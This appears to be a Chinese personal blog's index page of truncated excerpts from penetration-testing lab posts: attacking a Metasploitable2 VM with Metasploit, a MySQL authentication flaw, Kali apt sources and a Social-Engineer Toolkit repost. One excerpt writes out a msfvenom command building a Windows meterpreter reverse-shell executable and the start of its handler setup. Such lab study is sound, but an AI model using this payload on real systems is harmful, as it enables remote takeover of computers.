齐泽文的Blog

本文实验攻击目标为Metasploitable2-Linux1、打开msfconsole控制台root@qzwhost:~# msfconsole[-] Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localho...

1.编辑源 vi /etc/apt/sources.list2.新增如下源 deb http://mirrors.ustc.edu.cn/kali sana main non-free contrib deb http://mirrors.ustc.edu.cn/kali-security/ sana/updates main contrib non-free deb-sr...

Mysql是个关系型数据库管理系统，由瑞典Mysql AB开发，目前属于Oracle公司，在Metasploitable系统中，Mysql的身份认证存在漏洞，这个漏洞可以让攻击者不必提供正确的身份证书便可访问Mysql数据库。本教程将介绍使用Metasploit的Mysql扫描模块渗透攻击Mysql数据库服务。（1）启动MSFCONSOLE。root@kali:~#msfconsole(2)扫描所...

在攻击服务器上生成连接软件，LHOST为攻击机IP地址msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe打开msfconsole控制台root@qzwhost:~# msfconsole msfconsole > use exploit/multi/handl...

今天在使用kali进行学习是，发现在进入meterpreter控制台后只有core命令，刚开始以为是虚拟机坏掉了，后来发现，是因为没有连接成功，1.问题重现：root@qzwhost:~# msfconsole _ ...

The Social-Engineer Toolkit (SET)转载自https://github.com/trustedsec/social-engineer-toolkitCopyright 2018 The Social-Engineer Toolkit (SET)Written by: David Kennedy (ReL1K)Company: TrustedSecDISCLAIMER:...